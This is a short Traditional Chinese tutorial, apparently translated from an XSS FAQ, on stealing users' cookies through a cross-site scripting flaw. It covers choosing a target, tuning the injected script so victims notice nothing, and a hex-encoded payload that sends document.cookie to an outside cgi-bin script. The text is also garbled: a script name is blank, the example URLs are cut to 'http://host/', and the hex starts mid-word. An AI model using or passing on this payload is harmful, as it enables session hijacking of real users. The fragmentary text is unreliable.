根據作爲攻擊對象的Web程序，下面某些變量和插入位置可能需要進行調整。要注意這只是攻擊方法的一個例子。在這個例子中，我們將利用腳本“”中的 “viriable”變量中的跨站腳本漏洞，透過正常請求進行攻擊。這是跨站腳本攻擊最常見的形式。
第一步: 鎖定目標
當你找到某個Web程序存在XSS漏洞之後，檢查一下它是否設定了cookie。如果在該網站的任何地方設定了cookie，那麼就可以從用戶那裏盜取它。
第二步: 測試
不同的攻擊方式將產生不同的XSS漏洞，所以應適當進行測試以使得輸出結果看起來像是正常的。某些惡意腳本插入之後會破壞輸出的頁面。(爲欺騙用戶，輸出結果非常重要，因此攻擊者有必要調整攻擊代碼使輸出看起來正常。)
下一步你需要在連結至包含XSS漏洞的頁面的`URL中插入 Javascript(或其他客戶端腳本)。下面列出了一些經常用於測試XSS漏洞的連結。當用戶點擊這些連結時，用戶的cookie獎被髮送到 並被顯示。如果你看到顯示結果中包含了cookie資訊，說明可能可以劫持該用戶的帳戶。
盜取Cookie的Javascript示例。使用方法如下。
ASCII用法
http://host/
十六進制用法
http://host/
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每種用法都先寫爲ASCII，再寫成十六進制以便複製粘貼。